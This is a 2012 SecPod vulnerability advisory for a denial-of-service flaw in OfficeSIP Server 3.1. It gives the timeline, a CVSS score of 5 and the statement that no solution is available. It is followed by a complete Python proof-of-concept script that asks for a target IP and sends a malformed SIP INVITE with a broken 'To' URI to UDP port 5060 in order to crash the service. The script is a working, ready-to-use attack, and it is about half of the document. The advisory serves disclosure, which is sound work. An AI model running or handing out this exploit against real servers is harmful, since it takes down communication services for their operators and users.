############################################################################## # # Title : OfficeSIP Server Denial Of Service Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.officesip.com # Advisory : http://secpod.org/blog/?p=461 # http://secpod.org/advisories/SecPod_Exploit_OfficeSIP_Server_DOS_Vuln.txt # http://secpod.org/exploits/SecPod_Exploit_OfficeSIP_Server_DOS.py # Software : OfficeSIP Server 3.1 # Date : 01/02/2012 # ############################################################################### SecPod ID: 1034 22/12/2011 Issue Discovered 20/01/2012 Reported to Vendor No Response 01/02/2012 Advisory Released Class: Denial Of Service Severity: Medium Overview: --------- Office SIP Server version 3.1 is prone to a denial of service vulnerability. Technical Description: ---------------------- The vulnerability is caused due to improper validation of SIP/SIPS URI in the 'To' header of the request, which allows remote attackers to cause denial of service condition. Impact: -------- Successful exploitation could allow an attacker to crash the service. Affected Software: ------------------ OfficeSIP Server 3.1 Tested on: ----------- OfficeSIP Server 3.1 on Windows XP SP2 & SP3. Older versions might be affected. References: ----------- http://www.officesip.com http://secpod.org/blog/?p=461 http://www.officesip.com/download/OfficeSIP-Server-3.1.zip Proof of Concept: ---------------- http://secpod.org/exploits/SecPod_Exploit_OfficeSIP_Server_DOS.py Solution: ---------- Not available Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR = NETWORK ACCESS_COMPLEXITY = LOW AUTHENTICATION = NOT_REQUIRED CONFIDENTIALITY_IMPACT = NONE INTEGRITY_IMPACT = NONE AVAILABILITY_IMPACT = PARTIAL EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL = UNAVAILABLE REPORT_CONFIDENCE = CONFIRMED CVSS Base Score = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P) Risk factor = Medium Credits: -------- Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this vulnerability. #!/usr/bin/python ############################################################################## # # Title : OfficeSIP Server Denial Of Service Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.officesip.com # Advisory : http://secpod.org/blog/?p=461 # http://secpod.org/advisories/SecPod_Exploit_OfficeSIP_Server_DOS_Vuln.txt # http://secpod.org/exploits/SecPod_Exploit_OfficeSIP_Server_DOS.py # Software : OfficeSIP Server 3.1 # Date : 01/02/2012 # ############################################################################## import socket,sys,time port = 5060 target = raw_input("Enter host/target ip address: ") if not target: print "Host/Target IP Address is not specified" sys.exit(1) print "you entered ", target try: socket.inet_aton(target) except socket.error: print "Invalid IP address found ..." sys.exit(1) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed service not running" sys.exit(1) #Malicous To SIP URI triggers vulnerability and brings SIP port down exploit = "INVITE sip:test@officesip.local SIP/2.0\r\n"+\ "Via: SIP/2.0/UDP example.com\r\n"+\ "To: user2 <sip:malicioususer@>\r\n"+\ "From: user1 <sip:user1@server1.com>;tag=00\r\n"+\ "Call-ID: test@server.com\r\n"+\ "CSeq: 1 INVITE\r\n"+\ "Contact: <sip:user1@server1.com>\r\n\r\n" sock.sendto(exploit, (target, port)) #Server evaluates and takes a while to go down. time.sleep(40) sock.close() #Verify port is down try: sock.connect() except: print "OfficeSIP server port is down." print "Service not responding ...." sys.exit(1)